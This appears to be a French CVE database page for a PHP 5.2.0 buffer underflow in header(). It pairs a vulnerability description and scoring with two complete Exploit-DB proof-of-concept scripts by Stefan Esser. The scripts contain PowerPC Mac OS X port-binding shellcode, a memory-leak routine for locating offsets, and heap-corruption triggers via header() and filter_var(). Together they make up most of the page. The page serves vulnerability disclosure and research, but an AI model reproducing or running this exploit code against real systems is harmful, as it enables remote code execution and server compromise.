Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Buffer underflow in the header function in PHP 5.2.0 allows context-dependent attackers to execute arbitrary code by passing an all-whitespace string to this function, which causes it to write '\0' characters in whitespace that precedes the string.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 6.8 | AV:N/AC:M/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 3517
Date de publication : 2007-03-18 23h00 +00:00
Auteur : Stefan Esser
EDB Vérifié : Yes
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP header() Space Trimming Buffer Underflow Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// PPC MacOSX Portshell on 4444 from Metasploit
// (16 bytes added to make it compatible with unlink exploit)
$shellcode = "\x48\x00\x00\x10\x60\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00".
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa".
"\x38\xa5\xf8\x4a\x3c\xc0\x28\x43\x60\xc6\x84\x76\x38\x85\x07\xee".
"\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a".
"\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba".
"\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\x10\x23\x84\x74".
"\x10\xc3\x84\x77\x10\xe3\x84\x70\x10\x43\x84\x17\x6c\x43\x84\x74".
"\x54\x43\x86\x0e\x54\x3d\x9f\x0e\x60\x43\x84\x7b\x28\x41\x95\x2a".
"\x28\x43\x84\x76\x54\xcb\x86\xd0\x10\xe3\x84\x66\x10\x43\x84\x1e".
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\x43\x84\x1c".
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\x80\x77\x0e".
"\x10\x43\x84\x68\x10\xc3\x84\x66\xb8\xc2\x7b\x9e\x10\xe2\x7b\x9e".
"\x10\xc2\x7b\x86\x6c\x43\x84\x74\x54\x43\x86\x0e\x54\x3d\x9f\x0e".
"\x10\xe3\x84\x74\x10\x43\x84\x2c\x57\x80\x77\x0e\x54\xe7\xaf\x0e".
"\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\xe6\x7b\x89\x04\x46\x7b\x89".
"\x68\xc1\x7b\x93\x10\x43\x84\x34\x6c\x43\x84\x74\x54\x43\x86\x0e".
"\x54\xe6\xae\x0f\x68\xc1\x7b\x8b\x54\x2b\x86\xd0\x10\x20\x84\x5e".
"\xb8\x22\x7b\x8e\xb8\xe2\x7b\x8a\x10\xc2\x7b\x8e\x10\x43\x84\x4d".
"\x54\x43\x80\xda\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\xa3\x84\x7e".
"\x07\x21\xed\x18\x07\x20\xf7\x1e\x28\x43\x84\x76";
// Offsets used for the overwrite (will be overwritten by findOffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;
findOffsets(); // Comment out if you want to just test the crash
// IF YOU OUTPUT ANYTHING THEN header() WILL FAIL
//printf("Using offsets %08x and %08x\n", $offset_1, $offset_2);
// Convert offsets into strings
$addr1 = pack("L", $offset_1);
$addr2 = pack("L", $offset_2);
// Memory Alignment stuff
$v1 = 1;
$v2 = 2;
// Block that will contain the fake memory block
$v1 = str_repeat("B", 0x110-0x14);
// Prepare fake memory header
$v1[0] = chr(0);
$v1[1] = chr(0);
$v1[2] = chr(0);
$v1[3] = chr(4);
$v1[8] = $addr1[0];
$v1[9] = $addr1[1];
$v1[10] = $addr1[2];
$v1[11] = $addr1[3];
$v1[12] = $addr2[0];
$v1[13] = $addr2[1];
$v1[14] = $addr2[2];
$v1[15] = $addr2[3];
// Heap alignment
$v2 = str_repeat("A", 400);
$v2 = str_repeat(" ", 400);
// Trigger overflow
header($v2);
unset($v2);
// This function uses the substr_compare() vulnerability
// to get the offsets. In a remote exploit such offsets
// would get bruteforced
function findOffsets()
{
global $offset_1, $offset_2, $shellcode;
// We need to NOT clear these variables,
// otherwise the heap is too segmented
global $memdump, $d, $arr;
$sizeofHashtable = 39;
$maxlong = 0x7fffffff;
// Signature of a big endian Hashtable of size 256 with 1 element
$search = "\x00\x00\x01\x00\x00\x00\x00\xff\x00\x00\x00\x01";
$memdump = str_repeat("A", 16000);
for ($i=0; $i<400; $i++) {
$d[$i]=array();
}
unset($d[350]);
$x = str_repeat("\x01", $sizeofHashtable);
unset($d[351]);
unset($d[352]);
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }
// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<16000; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$Y == 1 || $Y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
if ($y-$Y != 1 && $Y-$y!=1){
$memdump[$i] = chr(1);
} else {
$memdump[$i] = chr(0);
}
}
}
// Search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack("L", $addr);
// Fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
}
?>
# milw0rm.com [2007-03-19]
Exploit Database EDB-ID : 3460
Date de publication : 2007-03-11 23h00 +00:00
Auteur : Stefan Esser
EDB Vérifié : Yes
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP ext/filter Space Trimming Buffer Underflow Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// PPC MacOSX Portshell on 4444 from Metasploit
// (16 bytes added to make it compatible with unlink exploit)
$shellcode = "\x48\x00\x00\x10\x60\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00".
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa".
"\x38\xa5\xf8\x4a\x3c\xc0\x28\x43\x60\xc6\x84\x76\x38\x85\x07\xee".
"\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a".
"\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba".
"\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\x10\x23\x84\x74".
"\x10\xc3\x84\x77\x10\xe3\x84\x70\x10\x43\x84\x17\x6c\x43\x84\x74".
"\x54\x43\x86\x0e\x54\x3d\x9f\x0e\x60\x43\x84\x7b\x28\x41\x95\x2a".
"\x28\x43\x84\x76\x54\xcb\x86\xd0\x10\xe3\x84\x66\x10\x43\x84\x1e".
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\x43\x84\x1c".
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\x80\x77\x0e".
"\x10\x43\x84\x68\x10\xc3\x84\x66\xb8\xc2\x7b\x9e\x10\xe2\x7b\x9e".
"\x10\xc2\x7b\x86\x6c\x43\x84\x74\x54\x43\x86\x0e\x54\x3d\x9f\x0e".
"\x10\xe3\x84\x74\x10\x43\x84\x2c\x57\x80\x77\x0e\x54\xe7\xaf\x0e".
"\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\xe6\x7b\x89\x04\x46\x7b\x89".
"\x68\xc1\x7b\x93\x10\x43\x84\x34\x6c\x43\x84\x74\x54\x43\x86\x0e".
"\x54\xe6\xae\x0f\x68\xc1\x7b\x8b\x54\x2b\x86\xd0\x10\x20\x84\x5e".
"\xb8\x22\x7b\x8e\xb8\xe2\x7b\x8a\x10\xc2\x7b\x8e\x10\x43\x84\x4d".
"\x54\x43\x80\xda\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\xa3\x84\x7e".
"\x07\x21\xed\x18\x07\x20\xf7\x1e\x28\x43\x84\x76";
// Offsets used for the overwrite (will be overwritten by findOffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;
findOffsets(); // Comment out if you want to just test the crash
printf("Using offsets %08x and %08x\n", $offset_1, $offset_2);
// Convert offsets into strings
$addr1 = pack("L", $offset_1);
$addr2 = pack("L", $offset_2);
// Memory Alignment stuff
$v1 = 1;
$v2 = 2;
// Block that will contain the fake memory block
$v1 = str_repeat("B", 0x110-0x14);
// Prepare fake memory header
$v1[0] = chr(0);
$v1[1] = chr(0);
$v1[2] = chr(0);
$v1[3] = chr(4);
$v1[8] = $addr1[0];
$v1[9] = $addr1[1];
$v1[10] = $addr1[2];
$v1[11] = $addr1[3];
$v1[12] = $addr2[0];
$v1[13] = $addr2[1];
$v1[14] = $addr2[2];
$v1[15] = $addr2[3];
// Heap alignment
$v2 = str_repeat("A", 400);
$v2 = str_repeat(" ", 400);
// Trigger overflow
filter_var($v2, FILTER_VALIDATE_INT);
unset($v2);
// This function uses the substr_compare() vulnerability
// to get the offsets. In a remote exploit such offsets
// would get bruteforced
function findOffsets()
{
global $offset_1, $offset_2, $shellcode;
// We need to NOT clear these variables,
// otherwise the heap is too segmented
global $memdump, $d, $arr;
$sizeofHashtable = 39;
$maxlong = 0x7fffffff;
// Signature of a big endian Hashtable of size 256 with 1 element
$search = "\x00\x00\x01\x00\x00\x00\x00\xff\x00\x00\x00\x01";
$memdump = str_repeat("A", 16000);
for ($i=0; $i<400; $i++) {
$d[$i]=array();
}
unset($d[350]);
$x = str_repeat("\x01", $sizeofHashtable);
unset($d[351]);
unset($d[352]);
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }
// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<16000; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$Y == 1 || $Y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
if ($y-$Y != 1 && $Y-$y!=1){
$memdump[$i] = chr(1);
} else {
$memdump[$i] = chr(0);
}
}
}
// Search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack("L", $addr);
// Fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
}
?>
# milw0rm.com [2007-03-12]
Products Mentioned
Configuraton 0
Php>>Php >> Version 5.2.0
- Php>>Php >> Version 5.2.0 (Open CPE detail)
- Php>>Php >> Version 5.2.0 (Open CPE detail)
- Php>>Php >> Version 5.2.0 (Open CPE detail)
- Php>>Php >> Version 5.2.0 (Open CPE detail)
- Php>>Php >> Version 5.2.0 (Open CPE detail)
- Php>>Php >> Version 5.2.0 (Open CPE detail)
- Php>>Php >> Version 5.2.0 (Open CPE detail)
